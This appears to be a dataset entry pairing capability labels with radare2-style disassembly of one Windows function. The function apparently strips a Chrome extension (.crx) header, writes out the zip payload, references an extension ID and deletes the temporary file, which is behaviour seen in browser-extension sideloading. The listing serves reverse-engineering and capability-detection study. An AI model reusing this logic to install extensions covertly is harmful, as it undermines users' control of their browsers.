Function at 0x40b5b0
Capabilities:
Check if file exists
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x441dff
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
mov eax, dword [0x452284]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
add eax, 0x1a4
xor edi, edi
mov dword [ebp - 4], edi
push eax
mov ebx, 0x4468bc
lea esi, [ebp - 0xd8]
mov dword [ebp - 0xa0], eax
call fcn.0040fe00
push eax
mov ebx, str.2.0_0.crx
lea esi, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.0040fe00
add esp, 8
mov ebx, 8
mov byte [ebp - 4], 3
cmp dword [ebp - 0xc0], ebx
jb 0x40b637
mov eax, dword [ebp - 0xd4]
push eax
call fcn.00438d27
add esp, 4
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov dword [ebp - 0xc0], 7
mov dword [ebp - 0xc4], edi
mov word [ebp - 0xd4], cx
cmp dword [ebp - 0x14], ebx
jae 0x40b65b
lea eax, [ebp - 0x28]
push edi
push 0x80
push 3
push edi
push 1
push SysReAllocStringLen
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0xb0], esi
cmp esi, 0xffffffff
jne 0x40b6bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x14], ebx
jb 0x40b696
mov edx, dword [ebp - 0x28]
push edx
call fcn.00438d27
add esp, 4
xor eax, eax
cmp dword [ebp + 0x24], 0x10
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], edi
mov word [ebp - 0x28], ax
jb 0x40b6b8
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00438d27
add esp, 4
xor al, al
jmp 0x40b95c
lea edx, [ebp - 0xa4]
push edx
push esi
mov dword [ebp - 0xa8], edi
mov dword [ebp - 0xa4], edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xa8], eax
cmp eax, 0x237
jbe 0x40b920
push eax
call fcn.00437be0
mov edx, dword [ebp - 0xa8]
add esp, 4
push edi
lea ecx, [ebp - 0xb8]
push ecx
push edx
push eax
push esi
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xb8], edi
lea ebx, [eax + 0x235]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp byte [ebx + 1], 0x50
jne 0x40b97a
cmp byte [ebx + 2], 0x4b
jne 0x40b97a
mov eax, dword [ebp - 0xa0]
mov edi, dword [ebp - 0xa8]
push eax
mov ebx, 0x4468bc
lea esi, [ebp - 0xf4]
add edi, 0xfffffdcb
mov dword [ebp - 0xb4], 0
call fcn.0040fe00
push eax
mov ebx, 0x4468c0
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.0040fe00
add esp, 8
lea esi, [ebp - 0xf4]
mov byte [ebp - 4], 6
call fcn.004025e0
mov eax, dword [ebp - 0x44]
mov ebx, 8
cmp dword [ebp - 0x30], ebx
jae 0x40b791
lea eax, [ebp - 0x44]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
mov eax, dword [ebp - 0xac]
lea ecx, [ebp - 0xb4]
push ecx
push edi
add eax, 0x235
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x44]
cmp dword [ebp - 0x30], ebx
jae 0x40b7db
lea ecx, [ebp - 0x44]
call fcn.00410530
sub esp, 0x1c
mov esi, eax
mov eax, 0x446924
mov ecx, esp
mov dword [ebp - 0xa0], esp
call fcn.00402570
sub esp, 0x1c
mov byte [ebp - 4], 7
mov eax, str.dpjdhmddlcfchlecfpjfgbaccbnbgfdg
mov ecx, esp
mov dword [ebp - 0xbc], esp
call fcn.00402570
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 6
call fcn.00408e90
mov byte [ebp - 4], bl
mov edi, dword [ebp - 0x60]
cmp dword [ebp - 0x4c], ebx
jae 0x40b82a
lea edi, [ebp - 0x60]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40b83c
mov ecx, edi
call fcn.00409dc0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x4c], ebx
jae 0x40b847
lea eax, [ebp - 0x60]
push eax
push esi
call fcn.00410a30
add esp, 8
mov eax, esi
call fcn.00410be0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x30], ebx
jae 0x40b863
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0x64]
push edx
mov ebx, 0x44692c
lea esi, [ebp - 0x9c]
call fcn.0040fe00
mov eax, esi
push eax
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 9
call fcn.00403bb0
add esp, 8
mov bl, 0xa
mov byte [ebp - 4], bl
cmp dword [ebp - 0x68], 0x10
mov eax, dword [ebp - 0x7c]
jae 0x40b8a1
lea eax, [ebp - 0x7c]
push 0x70
push eax
call fcn.0040d190
sub esp, 0x1c
lea edx, [ebp + 0xc]
mov ecx, esp
mov dword [ebp - 0xbc], esp
push edx
call fcn.00402510
sub esp, 0x1c
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x64]
mov esi, esp
mov dword [ebp - 0xa0], esp
push eax
call fcn.004025b0
mov byte [ebp - 4], bl
call fcn.00409f60
lea ecx, [ebp - 0x80]
call fcn.00402540
lea esi, [ebp - 0x9c]
call fcn.004025e0
lea esi, [ebp - 0x64]
call fcn.004025e0
lea esi, [ebp - 0x48]
call fcn.004025e0
mov eax, dword [ebp - 0xac]
test eax, eax
je 0x40b913
push eax
call fcn.00438d1c
add esp, 4
mov esi, dword [ebp - 0xb0]
mov ebx, 8
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], ebx
jb 0x40b938
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00438d27
add esp, 4
xor edx, edx
cmp dword [ebp + 0x24], 0x10
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], edi
mov word [ebp - 0x28], dx
jb 0x40b95a
mov eax, dword [ebp + 0x10]
push eax
call fcn.00438d27
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00425608
mov esp, ebp
pop ebp
ret 0x20
cmp dword [ebp - 0x14], 8
jb 0x40b98c
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00438d27
add esp, 4
xor edx, edx
cmp dword [ebp + 0x24], 0x10
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], edi
mov word [ebp - 0x28], dx
jb 0x40b6b8
mov eax, dword [ebp + 0x10]
push eax
call fcn.00438d27
add esp, 4
xor al, al
jmp 0x40b95c